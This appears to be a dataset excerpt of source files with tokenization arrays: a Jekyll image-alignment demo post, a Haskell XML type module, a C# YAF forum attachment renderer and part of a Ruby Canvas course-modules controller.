code stringlengths 5 1.01M | repo_name stringlengths 5 84 | path stringlengths 4 311 | language stringclasses 30 values | license stringclasses 15 values | size int64 5 1.01M | input_ids listlengths 502 502 | token_type_ids listlengths 502 502 | attention_mask listlengths 502 502 | labels listlengths 502 502 |
|---|---|---|---|---|---|---|---|---|---|
---
title: "Markup: Image Alignment"
categories:
- Markup
tags:
- alignment
- captions
- content
- css
- image
- markup
---
Welcome to image alignment! The best way to demonstrate the ebb and flow of the various image positioning options is to nestle them snuggly among an ocean of words. Grab a paddle and let's get started.
{: .align-center}
The image above happens to be **centered**.
{: .align-left} The rest of this paragraph is filler for the sake of seeing the text wrap around the 150×150 image, which is **left aligned**.
As you can see there should be some space above, below, and to the right of the image. The text should not be creeping on the image. Creeping is just not right. Images need breathing room too. Let them speak like you words. Let them do their jobs without any hassle from the text. In about one more sentence here, we'll see that the text moves from the right of the image down below the image in seamless transition. Again, letting the do it's thing. Mission accomplished!
And now for a **massively large image**. It also has **no alignment**.

The image above, though 1200px wide, should not overflow the content area. It should remain contained with no visible disruption to the flow of content.
{: .align-right}
And now we're going to shift things to the **right align**. Again, there should be plenty of room above, below, and to the left of the image. Just look at him there --- Hey guy! Way to rock that right side. I don't care what the left aligned image says, you look great. Don't let anyone else tell you differently.
In just a bit here, you should see the text start to wrap below the right aligned image and settle in nicely. There should still be plenty of room and everything should be sitting pretty. Yeah --- Just like that. It never felt so good to be right.
And just when you thought we were done, we're going to do them all over again with captions!
<figure class="align-center">
<img src="{{ site.url }}{{ site.baseurl }}/assets/images/image-alignment-580x300.jpg" alt="">
<figcaption>Look at 580 x 300 getting some love.</figcaption>
</figure>
The figure above happens to be **centered**. The caption also has a link in it, just to see if it does anything funky.
<figure style="width: 150px" class="align-left">
<img src="{{ site.url }}{{ site.baseurl }}/assets/images/image-alignment-150x150.jpg" alt="">
<figcaption>Itty-bitty caption.</figcaption>
</figure>
The rest of this paragraph is filler for the sake of seeing the text wrap around the 150×150 image, which is **left aligned**.
As you can see there should be some space above, below, and to the right of the image. The text should not be creeping on the image. Creeping is just not right. Images need breathing room too. Let them speak like you words. Let them do their jobs without any hassle from the text. In about one more sentence here, we'll see that the text moves from the right of the image down below the image in seamless transition. Again, letting the do it's thing. Mission accomplished!
And now for a **massively large image**. It also has **no alignment**.
<figure style="width: 1200px">
<img src="{{ site.url }}{{ site.baseurl }}/assets/images/image-alignment-1200x4002.jpg" alt="">
<figcaption>Massive image comment for your eyeballs.</figcaption>
</figure>
The figure element above has an inline style of `width: 1200px` set which should break it outside of the normal content flow.
<figure style="width: 300px" class="align-right">
<img src="{{ site.url }}{{ site.baseurl }}/assets/images/image-alignment-300x200.jpg" alt="">
<figcaption>Feels good to be right all the time.</figcaption>
</figure>
And now we're going to shift things to the **right align**. Again, there should be plenty of room above, below, and to the left of the image. Just look at him there --- Hey guy! Way to rock that right side. I don't care what the left aligned image says, you look great. Don't let anyone else tell you differently.
In just a bit here, you should see the text start to wrap below the right aligned image and settle in nicely. There should still be plenty of room and everything should be sitting pretty. Yeah --- Just like that. It never felt so good to be right.
And that's a wrap, yo! You survived the tumultuous waters of alignment. Image alignment achievement unlocked!
| AjinkyaGhadge/ajinkyaghadge.github.io | refer_posts/2013-01-10-markup-image-alignment.md | Markdown | mit | 4,729 | [
30522,
1011,
1011,
1011,
2516,
1024,
1000,
2928,
6279,
1024,
3746,
12139,
1000,
7236,
1024,
1011,
2928,
6279,
22073,
1024,
1011,
12139,
1011,
14408,
8496,
1011,
4180,
1011,
20116,
2015,
1011,
3746,
1011,
2928,
6279,
1011,
1011,
1011,
6160,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
module StandOff.DomTypeDefs where
import StandOff.LineOffsets
import qualified StandOff.TextRange as TR
import StandOff.MarkupTree
type AttrName = String
type AttrVal = String
data Attribute = Attribute (AttrName, AttrVal) deriving (Show)
data XML = Element { name :: String
, attributes :: [Attribute]
, startOpenTag :: Position
, endOpenTag :: Position
, startCloseTag :: Position
, endCloseTag :: Position
, content :: [XML] }
| EmptyElement { name :: String
, attributes :: [Attribute]
, startTag :: Position
, endTag :: Position }
| XMLDeclaration { declaration :: [Attribute]
, start :: Position
, end :: Position }
| ProcessingInstruction { name :: String
, declaration :: [Attribute]
, start :: Position
, end :: Position }
| TextNode { text :: String
, start :: Position
, end :: Position }
| Comment { text :: String
, start :: Position
, end :: Position }
deriving (Show)
myMapTuple :: (a -> b) -> (a, a) -> (b, b)
myMapTuple f (a1, a2) = (f a1, f a2)
instance TR.TextRange XML where
start x = posOffset $ fst $ xmlSpanning x
end x = posOffset $ snd $ xmlSpanning x
-- Split points have to be corrected. The first part of the split
-- should always end right before the open tag and the second part
-- of the split should always start right after a tag, but not at
-- the position of the tags last char. FIXME: Is this correct for
-- all markup types?
splitPoints x = ((so-1, eo+1), (sc-1, ec+1))
where (so, eo) = myMapTuple posOffset $ elementOpenTagPosition x
(sc, ec) = myMapTuple posOffset $ elementCloseTagPosition x
split _ _ = error "Cannot split internal markup"
instance MarkupTree XML where
getMarkupChildren (Element _ _ _ _ _ _ c) = filter isElementP c
getMarkupChildren _ = []
elementName :: XML -> String
elementName (Element n _ _ _ _ _ _) = n
elementName (EmptyElement n _ _ _) = n
elementAttributes :: XML -> [Attribute]
elementAttributes (Element _ attrs _ _ _ _ _) = attrs
elementAttributes (EmptyElement _ attrs _ _) = attrs
xmlSpanning :: XML -> (Position, Position)
xmlSpanning (Element _ _ s _ _ e _) = (s, e)
xmlSpanning (EmptyElement _ _ s e) = (s, e)
xmlSpanning (TextNode _ s e) = (s, e)
xmlSpanning (Comment _ s e) = (s, e)
xmlSpanning (XMLDeclaration _ s e) = (s, e)
xmlSpanning (ProcessingInstruction _ _ s e) = (s, e)
elementOpenTagPosition :: XML -> (Position, Position)
elementOpenTagPosition (Element _ _ s e _ _ _) = (s, e)
elementOpenTagPosition (EmptyElement _ _ s e) = (s, e)
elementCloseTagPosition :: XML -> (Position, Position)
elementCloseTagPosition (Element _ _ _ _ s e _) = (s, e)
elementCloseTagPosition (EmptyElement _ _ s e) = (s, e)
elementContent :: XML -> [XML]
elementContent (Element _ _ _ _ _ _ c) = c
elementContent _ = []
elementWithoutContent :: XML -> XML
elementWithoutContent (Element n a so eo sc ec _) = Element n a so eo sc ec []
elementWithoutContent x = x
textContent :: XML -> String
textContent (TextNode t _ _) = t
-- Is the node an XML element? False for white space, text nodes,
-- processing instructions, xml declarations, comments etc.
isElementP :: XML -> Bool
isElementP (Element _ _ _ _ _ _ _) = True
isElementP (EmptyElement _ _ _ _) = True
isElementP _ = False
isXMLDeclarationP :: XML -> Bool
isXMLDeclarationP (XMLDeclaration _ _ _) = True
isXMLDeclarationP _ = False
| lueck/standoff-tools | src/StandOff/DomTypeDefs.hs | Haskell | gpl-3.0 | 3,790 | [
30522,
11336,
3233,
7245,
1012,
14383,
13874,
3207,
10343,
2073,
12324,
3233,
7245,
30524,
17961,
1027,
17961,
1006,
2012,
16344,
18442,
1010,
2012,
16344,
10175,
1007,
4315,
14966,
1006,
2265,
1007,
2951,
20950,
1027,
5783,
1063,
2171,
1024,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/* Yet Another Forum.NET
* Copyright (C) 2003-2005 Bjørnar Henden
* Copyright (C) 2006-2013 Jaben Cargman
* Copyright (C) 2014-2015 Ingo Herbote
* http://www.yetanotherforum.net/
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
namespace YAF.Modules.BBCode
{
using System.Linq;
using System.Web;
using System.Web.UI;
using YAF.Classes;
using YAF.Controls;
using YAF.Core;
using YAF.Core.Model;
using YAF.Types.Extensions;
using YAF.Types.Interfaces;
using YAF.Types.Models;
using YAF.Utils;
/// <summary>
/// The Attachment BB Code Module.
/// </summary>
public class Attach : YafBBCodeControl
{
/// <summary>
/// Render The Album Image as Link with Image
/// </summary>
/// <param name="writer">The writer.</param>
protected override void Render(HtmlTextWriter writer)
{
var attachment =
this.GetRepository<Attachment>()
.ListTyped(attachmentID: this.Parameters["inner"].ToType<int>())
.FirstOrDefault();
if (attachment == null)
{
return;
}
var stats = this.GetText("ATTACHMENTINFO");
var fileIcon = this.Get<ITheme>().GetItem("ICONS", "ATTACHED_FILE");
var filename = attachment.FileName.ToLower();
var showImage = false;
var session = this.Get<HttpSessionStateBase>();
var settings = this.Get<YafBoardSettings>();
if (session["imagePreviewWidth"] == null)
{
session["imagePreviewWidth"] = settings.ImageAttachmentResizeWidth;
}
if (session["imagePreviewHeight"] == null)
{
session["imagePreviewHeight"] = settings.ImageAttachmentResizeHeight;
}
if (session["imagePreviewCropped"] == null)
{
session["imagePreviewCropped"] = settings.ImageAttachmentResizeCropped;
}
if (session["localizationFile"] == null)
{
session["localizationFile"] = this.Get<ILocalization>().LanguageFileName;
}
// verify it's not too large to display
// Ederon : 02/17/2009 - made it board setting
if (attachment.Bytes.ToType<int>() <= this.Get<YafBoardSettings>().PictureAttachmentDisplayTreshold)
{
// is it an image file?
showImage = filename.IsImageName();
}
if (showImage)
{
// Ederon : download rights
if (this.PageContext.ForumDownloadAccess || this.PageContext.ForumModeratorAccess)
{
// user has rights to download, show him image
writer.Write(
!this.Get<YafBoardSettings>().EnableImageAttachmentResize
? @"<img src=""{0}resource.ashx?a={1}&b={3}"" alt=""{2}"" class=""UserPostedImage attachedImage"" />"
: @"<a href=""{0}resource.ashx?i={1}&b={3}"" date-img=""{0}resource.ashx?a={1}&b={3}"" class=""attachedImage""><img src=""{0}resource.ashx?p={1}&b={3}"" alt=""{2}"" title=""{2}"" /></a>",
YafForumInfo.ForumClientFileRoot,
attachment.ID,
this.HtmlEncode(attachment.FileName),
this.PageContext.PageBoardID);
}
else
{
var kb = (1023 + attachment.Bytes.ToType<int>()) / 1024;
// user doesn't have rights to download, don't show the image
writer.Write(
@"<img border=""0"" alt="""" src=""{0}"" /> {1} <span class=""attachmentinfo"">{2}</span>",
fileIcon,
attachment.FileName,
stats.FormatWith(kb, attachment.Downloads));
}
}
else
{
// regular file attachment
var kb = (1023 + attachment.Bytes.ToType<int>()) / 1024;
// Ederon : download rights
if (this.PageContext.ForumDownloadAccess || this.PageContext.ForumModeratorAccess)
{
writer.Write(
@"<img border=""0"" alt="""" src=""{0}"" /> <a class=""attachedImageLink {{html:false,image:false,video:false}}"" href=""{1}resource.ashx?a={2}&b={5}"">{3}</a> <span class=""attachmentinfo"">{4}</span>",
fileIcon,
YafForumInfo.ForumClientFileRoot,
attachment.ID,
attachment.FileName,
stats.FormatWith(kb, attachment.Downloads),
this.PageContext.PageBoardID);
}
else
{
writer.Write(
@"<img border=""0"" alt="""" src=""{0}"" /> {1} <span class=""attachmentinfo"">{2}</span>",
fileIcon,
attachment.FileName,
stats.FormatWith(kb, attachment.Downloads));
}
}
}
}
} | mexxanit/YAFNET | yafsrc/YetAnotherForum.NET/Modules/BBCode/Attach.cs | C# | apache-2.0 | 6,079 | [
30522,
1013,
1008,
2664,
2178,
7057,
1012,
5658,
1008,
9385,
1006,
1039,
1007,
2494,
1011,
2384,
1038,
3501,
16415,
12789,
2099,
21863,
4181,
1008,
9385,
1006,
1039,
1007,
2294,
1011,
2286,
14855,
10609,
2482,
25494,
1008,
9385,
1006,
1039,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#
# Copyright (C) 2011 - present Instructure, Inc.
#
# This file is part of Canvas.
#
# Canvas is free software: you can redistribute it and/or modify it under
# the terms of the GNU Affero General Public License as published by the Free
# Software Foundation, version 3 of the License.
#
# Canvas is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
# details.
#
# You should have received a copy of the GNU Affero General Public License along
# with this program. If not, see <http://www.gnu.org/licenses/>.
#
class ContextModulesController < ApplicationController
include Api::V1::ContextModule
include WebZipExportHelper
before_action :require_context
add_crumb(proc { t('#crumbs.modules', "Modules") }) { |c| c.send :named_context_url, c.instance_variable_get("@context"), :context_context_modules_url }
before_action { |c| c.active_tab = "modules" }
module ModuleIndexHelper
include ContextModulesHelper
def load_module_file_details
attachment_tags = @context.module_items_visible_to(@current_user).where(content_type: 'Attachment').preload(:content => :folder)
attachment_tags.inject({}) do |items, file_tag|
items[file_tag.id] = {
id: file_tag.id,
content_id: file_tag.content_id,
content_details: content_details(file_tag, @current_user, :for_admin => true)
}
items
end
end
def modules_cache_key
@modules_cache_key ||= begin
visible_assignments = @current_user.try(:assignment_and_quiz_visibilities, @context)
cache_key_items = [@context.cache_key, @can_edit, @is_student, @can_view_unpublished, 'all_context_modules_draft_10', collection_cache_key(@modules), Time.zone, Digest::MD5.hexdigest(visible_assignments.to_s)]
cache_key = cache_key_items.join('/')
cache_key = add_menu_tools_to_cache_key(cache_key)
cache_key = add_mastery_paths_to_cache_key(cache_key, @context, @modules, @current_user)
end
end
def load_modules
@modules = @context.modules_visible_to(@current_user)
@modules.each(&:check_for_stale_cache_after_unlocking!)
@collapsed_modules = ContextModuleProgression.for_user(@current_user).for_modules(@modules).pluck(:context_module_id, :collapsed).select{|cm_id, collapsed| !!collapsed }.map(&:first)
@can_edit = can_do(@context, @current_user, :manage_content)
@is_student = @context.grants_right?(@current_user, session, :participate_as_student)
@can_view_unpublished = @context.grants_right?(@current_user, session, :read_as_admin)
modules_cache_key
@is_cyoe_on = @current_user && ConditionalRelease::Service.enabled_in_context?(@context)
if allow_web_export_download?
@allow_web_export_download = true
@last_web_export = @context.web_zip_exports.visible_to(@current_user).order('epub_exports.created_at').last
end
@menu_tools = {}
placements = [:assignment_menu, :discussion_topic_menu, :file_menu, :module_menu, :quiz_menu, :wiki_page_menu]
tools = ContextExternalTool.all_tools_for(@context, placements: placements,
:root_account => @domain_root_account, :current_user => @current_user).to_a
placements.select { |p| @menu_tools[p] = tools.select{|t| t.has_placement? p} }
module_file_details = load_module_file_details if @context.grants_right?(@current_user, session, :manage_content)
js_env :course_id => @context.id,
:CONTEXT_URL_ROOT => polymorphic_path([@context]),
:FILES_CONTEXTS => [{asset_string: @context.asset_string}],
:MODULE_FILE_DETAILS => module_file_details,
:MODULE_FILE_PERMISSIONS => {
usage_rights_required: @context.feature_enabled?(:usage_rights_required),
manage_files: @context.grants_right?(@current_user, session, :manage_files)
}
if master_courses?
is_master_course = MasterCourses::MasterTemplate.is_master_course?(@context)
is_child_course = MasterCourses::ChildSubscription.is_child_course?(@context)
if is_master_course || is_child_course
js_env(:MASTER_COURSE_SETTINGS => {
:IS_MASTER_COURSE => is_master_course,
:IS_CHILD_COURSE => is_child_course,
:MASTER_COURSE_DATA_URL => context_url(@context, :context_context_modules_master_course_info_url)
})
end
end
conditional_release_js_env(includes: :active_rules)
end
end
include ModuleIndexHelper
def index
if authorized_action(@context, @current_user, :read)
log_asset_access([ "modules", @context ], "modules", "other")
load_modules
set_tutorial_js_env
if @is_student && tab_enabled?(@context.class::TAB_MODULES)
@modules.each{|m| m.evaluate_for(@current_user) }
session[:module_progressions_initialized] = true
end
end
end
def choose_mastery_path
if authorized_action(@context, @current_user, :participate_as_student)
id = params[:id]
item = @context.context_module_tags.not_deleted.find(params[:id])
if item.present? && item.published? && item.context_module.published?
rules = ConditionalRelease::Service.rules_for(@context, @current_user, item, session)
rule = conditional_release_rule_for_module_item(item, conditional_release_rules: rules)
# locked assignments always have 0 sets, so this check makes it not return 404 if locked
# but instead progress forward and return a warning message if is locked later on
if rule.present? && (rule[:locked] || !rule[:selected_set_id] || rule[:assignment_sets].length > 1)
if !rule[:locked]
options = rule[:assignment_sets].map { |set|
option = {
setId: set[:id]
}
option[:assignments] = set[:assignments].map { |a|
assg = assignment_json(a[:model], @current_user, session)
assg[:assignmentId] = a[:assignment_id]
assg
}
option
}
js_env({
CHOOSE_MASTERY_PATH_DATA: {
options: options,
selectedOption: rule[:selected_set_id],
courseId: @context.id,
moduleId: item.context_module.id,
itemId: id
}
})
css_bundle :choose_mastery_path
js_bundle :choose_mastery_path
@page_title = join_title(t('Choose Assignment Set'), @context.name)
return render :html => '', :layout => true
else
flash[:warning] = t('Module Item is locked.')
return redirect_to named_context_url(@context, :context_context_modules_url)
end
end
end
return render status: 404, template: 'shared/errors/404_message'
end
end
def item_redirect
if authorized_action(@context, @current_user, :read)
@tag = @context.context_module_tags.not_deleted.find(params[:id])
if !(@tag.unpublished? || @tag.context_module.unpublished?) || authorized_action(@tag.context_module, @current_user, :view_unpublished_items)
reevaluate_modules_if_locked(@tag)
@progression = @tag.context_module.evaluate_for(@current_user) if @tag.context_module
@progression.uncollapse! if @progression && @progression.collapsed?
content_tag_redirect(@context, @tag, :context_context_modules_url, :modules)
end
end
end
def item_redirect_mastery_paths
@tag = @context.context_module_tags.not_deleted.find(params[:id])
type_controllers = {
assignment: 'assignments',
quiz: 'quizzes/quizzes',
discussion_topic: 'discussion_topics'
}
if @tag
if authorized_action(@tag.content, @current_user, :update)
controller = type_controllers[@tag.content_type_class.to_sym]
if controller.present?
redirect_to url_for(
controller: controller,
action: 'edit',
id: @tag.content_id,
anchor: 'mastery-paths-editor',
return_to: params[:return_to]
)
else
render status: 404, template: 'shared/errors/404_message'
end
end
else
render status: 404, template: 'shared/errors/404_message'
end
end
def module_redirect
if authorized_action(@context, @current_user, :read)
@module = @context.context_modules.not_deleted.find(params[:context_module_id])
@tags = @module.content_tags_visible_to(@current_user)
if params[:last]
@tags.pop while @tags.last && @tags.last.content_type == 'ContextModuleSubHeader'
else
@tags.shift while @tags.first && @tags.first.content_type == 'ContextModuleSubHeader'
end
@tag = params[:last] ? @tags.last : @tags.first
if !@tag
flash[:notice] = t 'module_empty', %{There are no items in the module "%{module}"}, :module => @module.name
redirect_to named_context_url(@context, :context_context_modules_url, :anchor => "module_#{@module.id}")
return
end
reevaluate_modules_if_locked(@tag)
@progression = @tag.context_module.evaluate_for(@current_user) if @tag && @tag.context_module
@progression.uncollapse! if @progression && @progression.collapsed?
content_tag_redirect(@context, @tag, :context_context_modules_url)
end
end
def reevaluate_modules_if_locked(tag)
# if the object is locked for this user, reevaluate all the modules and clear the cache so it will be checked again when loaded
if tag.content && tag.content.respond_to?(:locked_for?)
locked = tag.content.locked_for?(@current_user, :context => @context)
if locked
@context.context_modules.active.each { |m| m.evaluate_for(@current_user) }
if tag.content.respond_to?(:clear_locked_cache)
tag.content.clear_locked_cache(@current_user)
end
end
end
end
def create
if authorized_action(@context.context_modules.temp_record, @current_user, :create)
@module = @context.context_modules.build
@module.workflow_state = 'unpublished'
@module.attributes = context_module_params
respond_to do |format|
if @module.save
format.html { redirect_to named_context_url(@context, :context_context_modules_url) }
format.json { render :json => @module.as_json(:include => :content_tags, :methods => :workflow_state, :permissions => {:user => @current_user, :session => session}) }
else
format.html
format.json { render :json => @module.errors, :status => :bad_request }
end
end
end
end
def reorder
if authorized_action(@context.context_modules.temp_record, @current_user, :update)
m = @context.context_modules.not_deleted.first
m.update_order(params[:order].split(","))
# Need to invalidate the ordering cache used by context_module.rb
@context.touch
# I'd like to get rid of this saving every module, but we have to
# update the list of prerequisites since a reorder can cause
# prerequisites to no longer be valid
@modules = @context.context_modules.not_deleted.to_a
@modules.each do |m|
m.updated_at = Time.now
m.save_without_touching_context
end
@context.touch
# # Background this, not essential that it happen right away
# ContextModule.send_later(:update_tag_order, @context)
render :json => @modules.map{ |m| m.as_json(include: :content_tags, methods: :workflow_state) }
end
end
def content_tag_assignment_data
if authorized_action(@context, @current_user, :read)
info = {}
now = Time.now.utc.iso8601
all_tags = @context.module_items_visible_to(@current_user)
user_is_admin = @context.grants_right?(@current_user, session, :read_as_admin)
preload_assignments_and_quizzes(all_tags, user_is_admin)
all_tags.each do |tag|
info[tag.id] = if tag.can_have_assignment? && tag.assignment
tag.assignment.context_module_tag_info(@current_user, @context, user_is_admin: user_is_admin)
elsif tag.content_type_quiz?
tag.content.context_module_tag_info(@current_user, @context, user_is_admin: user_is_admin)
else
{:points_possible => nil, :due_date => nil}
end
end
render :json => info
end
end
def content_tag_master_course_data
return not_found unless master_courses?
if authorized_action(@context, @current_user, :read_as_admin)
info = {}
is_child_course = MasterCourses::ChildSubscription.is_child_course?(@context)
is_master_course = MasterCourses::MasterTemplate.is_master_course?(@context)
if is_child_course || is_master_course
tag_scope = @context.module_items_visible_to(@current_user).where(:content_type => %w{Assignment Attachment DiscussionTopic Quizzes::Quiz WikiPage})
tag_scope = tag_scope.where(:id => params[:tag_id]) if params[:tag_id]
tag_ids = tag_scope.pluck(:id)
restriction_info = {}
if tag_ids.any?
restriction_info = is_child_course ?
MasterCourses::MasterContentTag.fetch_module_item_restrictions_for_child(tag_ids) :
MasterCourses::MasterContentTag.fetch_module_item_restrictions_for_master(tag_ids)
end
info[:tag_restrictions] = restriction_info
end
render :json => info
end
end
def prerequisites_needing_finishing_for(mod, progression, before_tag=nil)
tags = mod.content_tags_visible_to(@current_user)
pres = []
tags.each do |tag|
if req = (mod.completion_requirements || []).detect{|r| r[:id] == tag.id }
progression.requirements_met ||= []
if !progression.requirements_met.any?{|r| r[:id] == req[:id] && r[:type] == req[:type] }
if !before_tag || tag.position <= before_tag.position
pre = {
:url => named_context_url(@context, :context_context_modules_item_redirect_url, tag.id),
:id => tag.id,
:context_module_id => mod.id,
:title => tag.title
}
pre[:requirement] = req
pre[:requirement_description] = ContextModule.requirement_description(req)
pre[:available] = !progression.locked? && (!mod.require_sequential_progress || tag.position <= progression.current_position)
pres << pre
end
end
end
end
pres
end
protected :prerequisites_needing_finishing_for
def content_tag_prerequisites_needing_finishing
type, id = ActiveRecord::Base.parse_asset_string params[:code]
raise ActiveRecord::RecordNotFound if id == 0
if type == 'ContentTag'
@tag = @context.context_module_tags.active.where(id: id).first
else
@tag = @context.context_module_tags.active.where(context_module_id: params[:context_module_id], content_id: id, content_type: type).first
end
@module = @context.context_modules.active.find(params[:context_module_id])
@progression = @module.evaluate_for(@current_user)
@progression.current_position ||= 0 if @progression
res = {};
if !@progression
elsif @progression.locked?
res[:locked] = true
res[:modules] = []
previous_modules = @context.context_modules.active.where('position<?', @module.position).order(:position).to_a
previous_modules.reverse!
valid_previous_modules = []
prereq_ids = @module.prerequisites.select{|p| p[:type] == 'context_module' }.map{|p| p[:id] }
previous_modules.each do |mod|
if prereq_ids.include?(mod.id)
valid_previous_modules << mod
prereq_ids += mod.prerequisites.select{|p| p[:type] == 'context_module' }.map{|p| p[:id] }
end
end
valid_previous_modules.reverse!
valid_previous_modules.each do |mod|
prog = mod.evaluate_for(@current_user)
res[:modules] << {
:id => mod.id,
:name => mod.name,
:prerequisites => prerequisites_needing_finishing_for(mod, prog),
:locked => prog.locked?
} unless prog.completed?
end
elsif @module.require_sequential_progress && @progression.current_position && @tag && @tag.position && @progression.current_position < @tag.position
res[:locked] = true
pres = prerequisites_needing_finishing_for(@module, @progression, @tag)
res[:modules] = [{
:id => @module.id,
:name => @module.name,
:prerequisites => pres,
:locked => false
}]
else
res[:locked] = false
end
render :json => res
end
def toggle_collapse
if authorized_action(@context, @current_user, :read)
@module = @context.modules_visible_to(@current_user).find(params[:context_module_id])
@progression = @module.evaluate_for(@current_user) #context_module_progressions.find_by_user_id(@current_user)
@progression ||= ContextModuleProgression.new
if params[:collapse] == '1'
@progression.collapsed = true
elsif params[:collapse]
@progression.uncollapse!
else
@progression.collapsed = !@progression.collapsed
end
@progression.save unless @progression.new_record?
respond_to do |format|
format.html { redirect_to named_context_url(@context, :context_context_modules_url) }
format.json { render :json => (@progression.collapsed ? @progression : @module.content_tags_visible_to(@current_user) )}
end
end
end
def show
@module = @context.context_modules.not_deleted.find(params[:id])
if authorized_action @module, @current_user, :read
respond_to do |format|
format.html { redirect_to named_context_url(@context, :context_context_modules_url, :anchor => "module_#{params[:id]}") }
format.json { render :json => @module.content_tags_visible_to(@current_user) }
end
end
end
def reorder_items
@module = @context.context_modules.not_deleted.find(params[:context_module_id])
if authorized_action(@module, @current_user, :update)
order = params[:order].split(",").map{|id| id.to_i}
tags = @context.context_module_tags.not_deleted.where(id: order)
affected_module_ids = (tags.map(&:context_module_id) + [@module.id]).uniq.compact
affected_items = []
items = order.map{|id| tags.detect{|t| t.id == id.to_i } }.compact.uniq
items.each_with_index do |item, idx|
item.position = idx + 1
item.context_module_id = @module.id
if item.changed?
item.skip_touch = true
item.save
affected_items << item
end
end
ContentTag.touch_context_modules(affected_module_ids)
ContentTag.update_could_be_locked(affected_items)
@context.touch
@module.reload
render :json => @module.as_json(:include => :content_tags, :methods => :workflow_state, :permissions => {:user => @current_user, :session => session})
end
end
def item_details
if authorized_action(@context, @current_user, :read)
# namespaced models are separated by : in the url
code = params[:id].gsub(":", "/").split("_")
id = code.pop.to_i
type = code.join("_").classify
@modules = @context.modules_visible_to(@current_user)
@tags = @context.context_module_tags.active.sort_by{|t| t.position ||= 999}
result = {}
possible_tags = @tags.find_all {|t| t.content_type == type && t.content_id == id }
if possible_tags.size > 1
# if there's more than one tag for the item, but the caller didn't
# specify which one they want, we don't want to return any information.
# this way the module item prev/next links won't appear with misleading navigation info.
if params[:module_item_id]
result[:current_item] = possible_tags.detect { |t| t.id == params[:module_item_id].to_i }
end
else
result[:current_item] = possible_tags.first
if !result[:current_item]
obj = @context.find_asset(params[:id], [:attachment, :discussion_topic, :assignment, :quiz, :wiki_page, :content_tag])
if obj.is_a?(ContentTag)
result[:current_item] = @tags.detect{|t| t.id == obj.id }
elsif obj.is_a?(DiscussionTopic) && obj.assignment_id
result[:current_item] = @tags.detect{|t| t.content_type == 'Assignment' && t.content_id == obj.assignment_id }
elsif obj.is_a?(Quizzes::Quiz) && obj.assignment_id
result[:current_item] = @tags.detect{|t| t.content_type == 'Assignment' && t.content_id == obj.assignment_id }
end
end
end
result[:current_item].evaluate_for(@current_user) rescue nil
if result[:current_item] && result[:current_item].position
result[:previous_item] = @tags.reverse.detect{|t| t.id != result[:current_item].id && t.context_module_id == result[:current_item].context_module_id && t.position && t.position <= result[:current_item].position && t.content_type != "ContextModuleSubHeader" }
